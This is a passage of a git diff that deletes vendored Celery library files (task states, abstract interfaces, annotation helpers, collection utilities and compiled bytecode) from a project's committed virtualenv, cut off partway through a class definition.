'UNREADY_STATES', - 'EXCEPTION_STATES', 'PROPAGATE_STATES', 'precedence', 'state', -) - -#: State precedence. -#: None represents the precedence of an unknown state. -#: Lower index means higher precedence. -PRECEDENCE = [ - 'SUCCESS', - 'FAILURE', - None, - 'REVOKED', - 'STARTED', - 'RECEIVED', - 'REJECTED', - 'RETRY', - 'PENDING', -] - -#: Hash lookup of PRECEDENCE to index -PRECEDENCE_LOOKUP = dict(zip(PRECEDENCE, range(0, len(PRECEDENCE)))) -NONE_PRECEDENCE = PRECEDENCE_LOOKUP[None] - - -def precedence(state: str) -> int: - """Get the precedence index for state. - - Lower index means higher precedence. - """ - try: - return PRECEDENCE_LOOKUP[state] - except KeyError: - return NONE_PRECEDENCE - - -class state(str): - """Task state. - - State is a subclass of :class:`str`, implementing comparison - methods adhering to state precedence rules:: - - >>> from celery.states import state, PENDING, SUCCESS - - >>> state(PENDING) < state(SUCCESS) - True - - Any custom state is considered to be lower than :state:`FAILURE` and - :state:`SUCCESS`, but higher than any of the other built-in states:: - - >>> state('PROGRESS') > state(STARTED) - True - - >>> state('PROGRESS') > state('SUCCESS') - False - """ - - def __gt__(self, other: str) -> bool: - return precedence(self) < precedence(other) - - def __ge__(self, other: str) -> bool: - return precedence(self) <= precedence(other) - - def __lt__(self, other: str) -> bool: - return precedence(self) > precedence(other) - - def __le__(self, other: str) -> bool: - return precedence(self) >= precedence(other) - - -#: Task state is unknown (assumed pending since you know the id). -PENDING = 'PENDING' -#: Task was received by a worker (only used in events). -RECEIVED = 'RECEIVED' -#: Task was started by a worker (:setting:`task_track_started`). -STARTED = 'STARTED' -#: Task succeeded -SUCCESS = 'SUCCESS' -#: Task failed -FAILURE = 'FAILURE' -#: Task was revoked. -REVOKED = 'REVOKED' -#: Task was rejected (only used in events). -REJECTED = 'REJECTED' -#: Task is waiting for retry. -RETRY = 'RETRY' -IGNORED = 'IGNORED' - -READY_STATES = frozenset({SUCCESS, FAILURE, REVOKED}) -UNREADY_STATES = frozenset({PENDING, RECEIVED, STARTED, REJECTED, RETRY}) -EXCEPTION_STATES = frozenset({RETRY, FAILURE, REVOKED}) -PROPAGATE_STATES = frozenset({FAILURE, REVOKED}) - -ALL_STATES = frozenset({ - PENDING, RECEIVED, STARTED, SUCCESS, FAILURE, RETRY, REVOKED, -}) diff --git a/backend/venv/Lib/site-packages/celery/utils/__init__.py b/backend/venv/Lib/site-packages/celery/utils/__init__.py deleted file mode 100644 index e905c247..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/__init__.py +++ /dev/null @@ -1,37 +0,0 @@ -"""Utility functions. - -Don't import from here directly anymore, as these are only -here for backwards compatibility. -""" -from kombu.utils.objects import cached_property -from kombu.utils.uuid import uuid - -from .functional import chunks, memoize, noop -from .imports import gen_task_name, import_from_cwd, instantiate -from .imports import qualname as get_full_cls_name -from .imports import symbol_by_name as get_cls_by_name -# ------------------------------------------------------------------------ # -# > XXX Compat -from .log import LOG_LEVELS -from .nodenames import nodename, nodesplit, worker_direct - -gen_unique_id = uuid - -__all__ = ( - 'LOG_LEVELS', - 'cached_property', - 'chunks', - 'gen_task_name', - 'gen_task_name', - 'gen_unique_id', - 'get_cls_by_name', - 'get_full_cls_name', - 'import_from_cwd', - 'instantiate', - 'memoize', - 'nodename', - 'nodesplit', - 'noop', - 'uuid', - 'worker_direct' -) diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index abb30667..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/abstract.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/abstract.cpython-311.pyc deleted file mode 100644 index 5063f58c..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/abstract.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/annotations.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/annotations.cpython-311.pyc deleted file mode 100644 index 1e646617..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/annotations.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/collections.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/collections.cpython-311.pyc deleted file mode 100644 index 2012e21c..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/collections.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/debug.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/debug.cpython-311.pyc deleted file mode 100644 index c1a1d45d..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/debug.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/deprecated.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/deprecated.cpython-311.pyc deleted file mode 100644 index 803def0b..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/deprecated.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/functional.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/functional.cpython-311.pyc deleted file mode 100644 index b8fe7e4a..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/functional.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/graph.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/graph.cpython-311.pyc deleted file mode 100644 index 41b4864f..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/graph.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/imports.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/imports.cpython-311.pyc deleted file mode 100644 index 383dfba4..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/imports.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/iso8601.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/iso8601.cpython-311.pyc deleted file mode 100644 index 8e7576a3..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/iso8601.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/log.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/log.cpython-311.pyc deleted file mode 100644 index c5b4a3ab..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/log.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/nodenames.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/nodenames.cpython-311.pyc deleted file mode 100644 index 1eeebd92..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/nodenames.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/objects.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/objects.cpython-311.pyc deleted file mode 100644 index 82fda3c7..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/objects.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/quorum_queues.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/quorum_queues.cpython-311.pyc deleted file mode 100644 index ec6a8b66..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/quorum_queues.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/saferepr.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/saferepr.cpython-311.pyc deleted file mode 100644 index d606b11d..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/saferepr.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/serialization.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/serialization.cpython-311.pyc deleted file mode 100644 index a3963c8a..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/serialization.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/sysinfo.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/sysinfo.cpython-311.pyc deleted file mode 100644 index d25569ab..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/sysinfo.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/term.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/term.cpython-311.pyc deleted file mode 100644 index b9ea3348..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/term.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/text.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/text.cpython-311.pyc deleted file mode 100644 index 929faab0..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/text.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/threads.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/threads.cpython-311.pyc deleted file mode 100644 index c5849c04..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/threads.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/time.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/time.cpython-311.pyc deleted file mode 100644 index f4377c93..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/time.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/__pycache__/timer2.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/__pycache__/timer2.cpython-311.pyc deleted file mode 100644 index b1d5b999..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/__pycache__/timer2.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/abstract.py b/backend/venv/Lib/site-packages/celery/utils/abstract.py deleted file mode 100644 index 81a04082..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/abstract.py +++ /dev/null @@ -1,146 +0,0 @@ -"""Abstract classes.""" -from abc import ABCMeta, abstractmethod -from collections.abc import Callable - -__all__ = ('CallableTask', 'CallableSignature') - - -def _hasattr(C, attr): - return any(attr in B.__dict__ for B in C.__mro__) - - -class _AbstractClass(metaclass=ABCMeta): - __required_attributes__ = frozenset() - - @classmethod - def _subclasshook_using(cls, parent, C): - return ( - cls is parent and - all(_hasattr(C, attr) for attr in cls.__required_attributes__) - ) or NotImplemented - - @classmethod - def register(cls, other): - # we override `register` to return other for use as a decorator. - type(cls).register(cls, other) - return other - - -class CallableTask(_AbstractClass, Callable): # pragma: no cover - """Task interface.""" - - __required_attributes__ = frozenset({ - 'delay', 'apply_async', 'apply', - }) - - @abstractmethod - def delay(self, *args, **kwargs): - pass - - @abstractmethod - def apply_async(self, *args, **kwargs): - pass - - @abstractmethod - def apply(self, *args, **kwargs): - pass - - @classmethod - def __subclasshook__(cls, C): - return cls._subclasshook_using(CallableTask, C) - - -class CallableSignature(CallableTask): # pragma: no cover - """Celery Signature interface.""" - - __required_attributes__ = frozenset({ - 'clone', 'freeze', 'set', 'link', 'link_error', '__or__', - }) - - @property - @abstractmethod - def name(self): - pass - - @property - @abstractmethod - def type(self): - pass - - @property - @abstractmethod - def app(self): - pass - - @property - @abstractmethod - def id(self): - pass - - @property - @abstractmethod - def task(self): - pass - - @property - @abstractmethod - def args(self): - pass - - @property - @abstractmethod - def kwargs(self): - pass - - @property - @abstractmethod - def options(self): - pass - - @property - @abstractmethod - def subtask_type(self): - pass - - @property - @abstractmethod - def chord_size(self): - pass - - @property - @abstractmethod - def immutable(self): - pass - - @abstractmethod - def clone(self, args=None, kwargs=None): - pass - - @abstractmethod - def freeze(self, id=None, group_id=None, chord=None, root_id=None, - group_index=None): - pass - - @abstractmethod - def set(self, immutable=None, **options): - pass - - @abstractmethod - def link(self, callback): - pass - - @abstractmethod - def link_error(self, errback): - pass - - @abstractmethod - def __or__(self, other): - pass - - @abstractmethod - def __invert__(self): - pass - - @classmethod - def __subclasshook__(cls, C): - return cls._subclasshook_using(CallableSignature, C) diff --git a/backend/venv/Lib/site-packages/celery/utils/annotations.py b/backend/venv/Lib/site-packages/celery/utils/annotations.py deleted file mode 100644 index 38a549c0..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/annotations.py +++ /dev/null @@ -1,49 +0,0 @@ -"""Code related to handling annotations.""" - -import sys -import types -import typing -from inspect import isclass - - -def is_none_type(value: typing.Any) -> bool: - """Check if the given value is a NoneType.""" - if sys.version_info < (3, 10): - # raise Exception('below 3.10', value, type(None)) - return value is type(None) - return value == types.NoneType # type: ignore[no-any-return] - - -def get_optional_arg(annotation: typing.Any) -> typing.Any: - """Get the argument from an Optional[...] annotation, or None if it is no such annotation.""" - origin = typing.get_origin(annotation) - if origin != typing.Union and (sys.version_info >= (3, 10) and origin != types.UnionType): - return None - - union_args = typing.get_args(annotation) - if len(union_args) != 2: # Union does _not_ have two members, so it's not an Optional - return None - - has_none_arg = any(is_none_type(arg) for arg in union_args) - # There will always be at least one type arg, as we have already established that this is a Union with exactly - # two members, and both cannot be None (`Union[None, None]` does not work). - type_arg = next(arg for arg in union_args if not is_none_type(arg)) # pragma: no branch - - if has_none_arg: - return type_arg - return None - - -def annotation_is_class(annotation: typing.Any) -> bool: - """Test if a given annotation is a class that can be used in isinstance()/issubclass().""" - # isclass() returns True for generic type hints (e.g. `list[str]`) until Python 3.10. - # NOTE: The guard for Python 3.9 is because types.GenericAlias is only added in Python 3.9. This is not a problem - # as the syntax is added in the same version in the first place. - if (3, 9) <= sys.version_info < (3, 11) and isinstance(annotation, types.GenericAlias): - return False - return isclass(annotation) - - -def annotation_issubclass(annotation: typing.Any, cls: type) -> bool: - """Test if a given annotation is of the given subclass.""" - return annotation_is_class(annotation) and issubclass(annotation, cls) diff --git a/backend/venv/Lib/site-packages/celery/utils/collections.py b/backend/venv/Lib/site-packages/celery/utils/collections.py deleted file mode 100644 index 396ed817..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/collections.py +++ /dev/null @@ -1,863 +0,0 @@ -"""Custom maps, sets, sequences, and other data structures.""" -import time -from collections import OrderedDict as _OrderedDict -from collections import deque -from collections.abc import Callable, Mapping, MutableMapping, MutableSet, Sequence -from heapq import heapify, heappop, heappush -from itertools import chain, count -from queue import Empty -from typing import Any, Dict, Iterable, List # noqa - -from .functional import first, uniq -from .text import match_case - -try: - # pypy: dicts are ordered in recent versions - from __pypy__ import reversed_dict as _dict_is_ordered -except ImportError: - _dict_is_ordered = None - -try: - from django.utils.functional import LazyObject, LazySettings -except ImportError: - class LazyObject: - pass - LazySettings = LazyObject - -__all__ = ( - 'AttributeDictMixin', 'AttributeDict', 'BufferMap', 'ChainMap', - 'ConfigurationView', 'DictAttribute', 'Evictable', - 'LimitedSet', 'Messagebuffer', 'OrderedDict', - 'force_mapping', 'lpmerge', -) - -REPR_LIMITED_SET = """\ -<{name}({size}): maxlen={0.maxlen}, expires={0.expires}, minlen={0.minlen}>\ -""" - - -def force_mapping(m): - # type: (Any) -> Mapping - """Wrap object into supporting the mapping interface if necessary.""" - if isinstance(m, (LazyObject, LazySettings)): - m = m._wrapped - return DictAttribute(m) if not isinstance(m, Mapping) else m - - -def lpmerge(L, R): - # type: (Mapping, Mapping) -> Mapping - """In place left precedent dictionary merge. - - Keeps values from `L`, if the value in `R` is :const:`None`. - """ - setitem = L.__setitem__ - [setitem(k, v) for k, v in R.items() if v is not None] - return L - - -class OrderedDict(_OrderedDict): - """Dict where insertion order matters.""" - - def _LRUkey(self): - # type: () -> Any - # return value of od.keys does not support __next__, - # but this version will also not create a copy of the list. - return next(iter(self.keys())) - - if not hasattr(_OrderedDict, 'move_to_end'): - if _dict_is_ordered: # pragma: no cover - - def move_to_end(self, key, last=True): - # type: (Any, bool) -> None - if not last: - # we don't use this argument, and the only way to - # implement this on PyPy seems to be O(n): creating a - # copy with the order changed, so we just raise. - raise NotImplementedError('no last=True on PyPy') - self[key] = self.pop(key) - - else: - - def move_to_end(self, key, last=True): - # type: (Any, bool) -> None - link = self._OrderedDict__map[key] - link_prev = link[0] - link_next = link[1] - link_prev[1] = link_next - link_next[0] = link_prev - root = self._OrderedDict__root - if last: - last = root[0] - link[0] = last - link[1] = root - last[1] = root[0] = link - else: - first_node = root[1] - link[0] = root - link[1] = first_node - root[1] = first_node[0] = link - - -class AttributeDictMixin: - """Mixin for Mapping interface that adds attribute access. - - I.e., `d.key -> d[key]`). - """ - - def __getattr__(self, k): - # type: (str) -> Any - """`d.key -> d[key]`.""" - try: - return self[k] - except KeyError: - raise AttributeError( - f'{type(self).__name__!r} object has no attribute {k!r}') - - def __setattr__(self, key: str, value) -> None: - """`d[key] = value -> d.key = value`.""" - self[key] = value - - -class AttributeDict(dict, AttributeDictMixin): - """Dict subclass with attribute access.""" - - -class DictAttribute: - """Dict interface to attributes. - - `obj[k] -> obj.k` - `obj[k] = val -> obj.k = val` - """ - - obj = None - - def __init__(self, obj): - # type: (Any) -> None - object.__setattr__(self, 'obj', obj) - - def __getattr__(self, key): - # type: (Any) -> Any - return getattr(self.obj, key) - - def __setattr__(self, key, value): - # type: (Any, Any) -> None - return setattr(self.obj, key, value) - - def get(self, key, default=None): - # type: (Any, Any) -> Any - try: - return self[key] - except KeyError: - return default - - def setdefault(self, key, default=None): - # type: (Any, Any) -> None - if key not in self: - self[key] = default - - def __getitem__(self, key): - # type: (Any) -> Any - try: - return getattr(self.obj, key) - except AttributeError: - raise KeyError(key) - - def __setitem__(self, key, value): - # type: (Any, Any) -> Any - setattr(self.obj, key, value) - - def __contains__(self, key): - # type: (Any) -> bool - return hasattr(self.obj, key) - - def _iterate_keys(self): - # type: () -> Iterable - return iter(dir(self.obj)) - iterkeys = _iterate_keys - - def __iter__(self): - # type: () -> Iterable - return self._iterate_keys() - - def _iterate_items(self): - # type: () -> Iterable - for key in self._iterate_keys(): - yield key, getattr(self.obj, key) - iteritems = _iterate_items - - def _iterate_values(self): - # type: () -> Iterable - for key in self._iterate_keys(): - yield getattr(self.obj, key) - itervalues = _iterate_values - - items = _iterate_items - keys = _iterate_keys - values = _iterate_values - - -MutableMapping.register(DictAttribute) - - -class ChainMap(MutableMapping): - """Key lookup on a sequence of maps.""" - - key_t = None - changes = None - defaults = None - maps = None - _observers = () - - def __init__(self, *maps, **kwargs): - # type: (*Mapping, **Any) -> None - maps = list(maps or [{}]) - self.__dict__.update( - key_t=kwargs.get('key_t'), - maps=maps, - changes=maps[0], - defaults=maps[1:], - _observers=[], - ) - - def add_defaults(self, d): - # type: (Mapping) -> None - d = force_mapping(d) - self.defaults.insert(0, d) - self.maps.insert(1, d) - - def pop(self, key, *default): - # type: (Any, *Any) -> Any - try: - return self.maps[0].pop(key, *default) - except KeyError: - raise KeyError( - f'Key not found in the first mapping: {key!r}') - - def __missing__(self, key): - # type: (Any) -> Any - raise KeyError(key) - - def _key(self, key): - # type: (Any) -> Any - return self.key_t(key) if self.key_t is not None else key - - def __getitem__(self, key): - # type: (Any) -> Any - _key = self._key(key) - for mapping in self.maps: - try: - return mapping[_key] - except KeyError: - pass - return self.__missing__(key) - - def __setitem__(self, key, value): - # type: (Any, Any) -> None - self.changes[self._key(key)] = value - - def __delitem__(self, key): - # type: (Any) -> None - try: - del self.changes[self._key(key)] - except KeyError: - raise KeyError(f'Key not found in first mapping: {key!r}') - - def clear(self): - # type: () -> None - self.changes.clear() - - def get(self, key, default=None): - # type: (Any, Any) -> Any - try: - return self[self._key(key)] - except KeyError: - return default - - def __len__(self): - # type: () -> int - return len(set().union(*self.maps)) - - def __iter__(self): - return self._iterate_keys() - - def __contains__(self, key): - # type: (Any) -> bool - key = self._key(key) - return any(key in m for m in self.maps) - - def __bool__(self): - # type: () -> bool - return any(self.maps) - __nonzero__ = __bool__ # Py2 - - def setdefault(self, key, default=None): - # type: (Any, Any) -> None - key = self._key(key) - if key not in self: - self[key] = default - - def update(self, *args, **kwargs): - # type: (*Any, **Any) -> Any - result = self.changes.update(*args, **kwargs) - for callback in self._observers: - callback(*args, **kwargs) - return result - - def __repr__(self): - # type: () -> str - return '{0.__class__.__name__}({1})'.format( - self, ', '.join(map(repr, self.maps))) - - @classmethod - def fromkeys(cls, iterable, *args): - # type: (type, Iterable, *Any) -> 'ChainMap' - """Create a ChainMap with a single dict created from the iterable.""" - return cls(dict.fromkeys(iterable, *args)) - - def copy(self): - # type: () -> 'ChainMap' - return self.__class__(self.maps[0].copy(), *self.maps[1:]) - __copy__ = copy # Py2 - - def _iter(self, op): - # type: (Callable) -> Iterable - # defaults must be first in the stream, so values in - # changes take precedence. - # pylint: disable=bad-reversed-sequence - # Someone should teach pylint about properties. - return chain(*(op(d) for d in reversed(self.maps))) - - def _iterate_keys(self): - # type: () -> Iterable - return uniq(self._iter(lambda d: d.keys())) - iterkeys = _iterate_keys - - def _iterate_items(self): - # type: () -> Iterable - return ((key, self[key]) for key in self) - iteritems = _iterate_items - - def _iterate_values(self): - # type: () -> Iterable - return (self[key] for key in self) - itervalues = _iterate_values - - def bind_to(self, callback): - self._observers.append(callback) - - keys = _iterate_keys - items = _iterate_items - values = _iterate_values - - -class ConfigurationView(ChainMap, AttributeDictMixin): - """A view over an applications configuration dictionaries. - - Custom (but older) version of :class:`collections.ChainMap`. - - If the key does not exist in ``changes``, the ``defaults`` - dictionaries are consulted. - - Arguments: - changes (Mapping): Map of configuration changes. - defaults (List[Mapping]): List of dictionaries containing - the default configuration. - """ - - def __init__(self, changes, defaults=None, keys=None, prefix=None): - # type: (Mapping, Mapping, List[str], str) -> None - defaults = [] if defaults is None else defaults - super().__init__(changes, *defaults) - self.__dict__.update( - prefix=prefix.rstrip('_') + '_' if prefix else prefix, - _keys=keys, - ) - - def _to_keys(self, key): - # type: (str) -> Sequence[str] - prefix = self.prefix - if prefix: - pkey = prefix + key if not key.startswith(prefix) else key - return match_case(pkey, prefix), key - return key, - - def __getitem__(self, key): - # type: (str) -> Any - keys = self._to_keys(key) - getitem = super().__getitem__ - for k in keys + ( - tuple(f(key) for f in self._keys) if self._keys else ()): - try: - return getitem(k) - except KeyError: - pass - try: - # support subclasses implementing __missing__ - return self.__missing__(key) - except KeyError: - if len(keys) > 1: - raise KeyError( - 'Key not found: {0!r} (with prefix: {0!r})'.format(*keys)) - raise - - def __setitem__(self, key, value): - # type: (str, Any) -> Any - self.changes[self._key(key)] = value - - def first(self, *keys): - # type: (*str) -> Any - return first(None, (self.get(key) for key in keys)) - - def get(self, key, default=None): - # type: (str, Any) -> Any - try: - return self[key] - except KeyError: - return default - - def clear(self): - # type: () -> None - """Remove all changes, but keep defaults.""" - self.changes.clear() - - def __contains__(self, key): - # type: (str) -> bool - keys = self._to_keys(key) - return any(any(k in m for k in keys) for m in self.maps) - - def swap_with(self, other): - # type: (ConfigurationView) -> None - changes = other.__dict__['changes'] - defaults = other.__dict__['defaults'] - self.__dict__.update( - changes=changes, - defaults=defaults, - key_t=other.__dict__['key_t'], - prefix=other.__dict__['prefix'], - maps=[changes] + defaults - ) - - -class LimitedSet: - """Kind-of Set (or priority queue) with limitations. - - Good for when you need to test for membership (`a in set`), - but the set should not grow unbounded. - - ``maxlen`` is enforced at all times, so if the limit is reached - we'll also remove non-expired items. - - You can also configure ``minlen``: this is the minimal residual size - of the set. - - All arguments are optional, and no limits are enabled by default. - - Arguments: - maxlen (int): Optional max number of items. - Adding more items than ``maxlen`` will result in immediate - removal of items sorted by oldest insertion time. - - expires (float): TTL for all items. - Expired items are purged as keys are inserted. - - minlen (int): Minimal residual size of this set. - .. versionadded:: 4.0 - - Value must be less than ``maxlen`` if both are configured. - - Older expired items will be deleted, only after the set - exceeds ``minlen`` number of items. - - data (Sequence): Initial data to initialize set with. - Can be an iterable of ``(key, value)`` pairs, - a dict (``{key: insertion_time}``), or another instance - of :class:`LimitedSet`. - - Example: - >>> s = LimitedSet(maxlen=50000, expires=3600, minlen=4000) - >>> for i in range(60000): - ... s.add(i) - ... s.add(str(i)) - ... - >>> 57000 in s # last 50k inserted values are kept - True - >>> '10' in s # '10' did expire and was purged from set. - False - >>> len(s) # maxlen is reached - 50000 - >>> s.purge(now=time.monotonic() + 7200) # clock + 2 hours - >>> len(s) # now only minlen items are cached - 4000 - >>>> 57000 in s # even this item is gone now - False - """ - - max_heap_percent_overload = 15 - - def __init__(self, maxlen=0, expires=0, data=None, minlen=0): - # type: (int, float, Mapping, int) -> None - self.maxlen = 0 if maxlen is None else maxlen - self.minlen = 0 if minlen is None else minlen - self.expires = 0 if expires is None else expires - self._data = {} - self._heap = [] - - if data: - # import items from data - self.update(data) - - if not self.maxlen >= self.minlen >= 0: - raise ValueError( - 'minlen must be a positive number, less or equal to maxlen.') - if self.expires < 0: - raise ValueError('expires cannot be negative!') - - def _refresh_heap(self): - # type: () -> None - """Time consuming recreating of heap. Don't run this too often.""" - self._heap[:] = [entry for entry in self._data.values()] - heapify(self._heap) - - def _maybe_refresh_heap(self): - # type: () -> None - if self._heap_overload >= self.max_heap_percent_overload: - self._refresh_heap() - - def clear(self): - # type: () -> None - """Clear all data, start from scratch again.""" - self._data.clear() - self._heap[:] = [] - - def add(self, item, now=None): - # type: (Any, float) -> None - """Add a new item, or reset the expiry time of an existing item.""" - now = now or time.monotonic() - if item in self._data: - self.discard(item) - entry = (now, item) - self._data[item] = entry - heappush(self._heap, entry) - if self.maxlen and len(self._data) >= self.maxlen: - self.purge() - - def update(self, other): - # type: (Iterable) -> None - """Update this set from other LimitedSet, dict or iterable.""" - if not other: - return - if isinstance(other, LimitedSet): - self._data.update(other._data) - self._refresh_heap() - self.purge() - elif isinstance(other, dict): - # revokes are sent as a dict - for key, inserted in other.items(): - if isinstance(inserted, (tuple, list)): - # in case someone uses ._data directly for sending update - inserted = inserted[0] - if not isinstance(inserted, float): - raise ValueError( - 'Expecting float timestamp, got type ' - f'{type(inserted)!r} with value: {inserted}') - self.add(key, inserted) - else: - # XXX AVOID THIS, it could keep old data if more parties - # exchange them all over and over again - for obj in other: - self.add(obj) - - def discard(self, item): - # type: (Any) -> None - # mark an existing item as removed. If KeyError is not found, pass. - self._data.pop(item, None) - self._maybe_refresh_heap() - pop_value = discard - - def purge(self, now=None): - # type: (float) -> None - """Check oldest items and remove them if needed. - - Arguments: - now (float): Time of purging -- by default right now. - This can be useful for unit testing. - """ - now = now or time.monotonic() - now = now() if isinstance(now, Callable) else now - if self.maxlen: - while len(self._data) > self.maxlen: - self.pop() - # time based expiring: - if self.expires: - while len(self._data) > self.minlen >= 0: - inserted_time, _ = self._heap[0] - if inserted_time + self.expires > now: - break # oldest item hasn't expired yet - self.pop() - - def pop(self, default: Any = None) -> Any: - """Remove and return the oldest item, or :const:`None` when empty.""" - while self._heap: - _, item = heappop(self._heap) - try: - self._data.pop(item) - except KeyError: - pass - else: - return item - return default - - def as_dict(self): - # type: () -> Dict - """Whole set as serializable dictionary. - - Example: - >>> s = LimitedSet(maxlen=200) - >>> r = LimitedSet(maxlen=200) - >>> for i in range(500): - ... s.add(i) - ... - >>> r.update(s.as_dict()) - >>> r == s - True - """ - return {key: inserted for inserted, key in self._data.values()} - - def __eq__(self, other): - # type: (Any) -> bool - return self._data == other._data - - def __repr__(self): - # type: () -> str - return REPR_LIMITED_SET.format( - self, name=type(self).__name__, size=len(self), - ) - - def __iter__(self): - # type: () -> Iterable - return (i for _, i in sorted(self._data.values())) - - def __len__(self): - # type: () -> int - return len(self._data) - - def __contains__(self, key): - # type: (Any) -> bool - return key in self._data - - def __reduce__(self): - # type: () -> Any - return self.__class__, ( - self.maxlen, self.expires, self.as_dict(), self.minlen) - - def __bool__(self): - # type: () -> bool - return bool(self._data) - __nonzero__ = __bool__ # Py2 - - @property - def _heap_overload(self): - # type: () -> float - """Compute how much is heap bigger than data [percents].""" - return len(self._heap) * 100 / max(len(self._data), 1) - 100 - - -MutableSet.register(LimitedSet) - - -class Evictable: - """Mixin for classes supporting the ``evict`` method.""" - - Empty = Empty - - def evict(self) -> None: - """Force evict until maxsize is enforced.""" - self._evict(range=count) - - def _evict(self, limit: int = 100, range=range) -> None: - try: - [self._evict1() for _ in range(limit)] - except IndexError: - pass - - def _evict1(self) -> None: - if self._evictcount <= self.maxsize: - raise IndexError() - try: - self._pop_to_evict() - except self.Empty: - raise IndexError() - - -class Messagebuffer(Evictable): - """A buffer of pending messages.""" - - Empty = Empty - - def __init__(self, maxsize, iterable=None, deque=deque): - # type: (int, Iterable, Any) -> None - self.maxsize = maxsize - self.data = deque(iterable or []) - self._append = self.data.append - self._pop = self.data.popleft - self._len = self.data.__len__ - self._extend = self.data.extend - - def put(self, item): - # type: (Any) -> None - self._append(item) - self.maxsize and self._evict() - - def extend(self, it): - # type: (Iterable) -> None - self._extend(it) - self.maxsize and self._evict() - - def take(self, *default): - # type: (*Any) -> Any - try: - return self._pop() - except IndexError: - if default: - return default[0] - raise self.Empty() - - def _pop_to_evict(self): - # type: () -> None - return self.take() - - def __repr__(self): - # type: () -> str - return 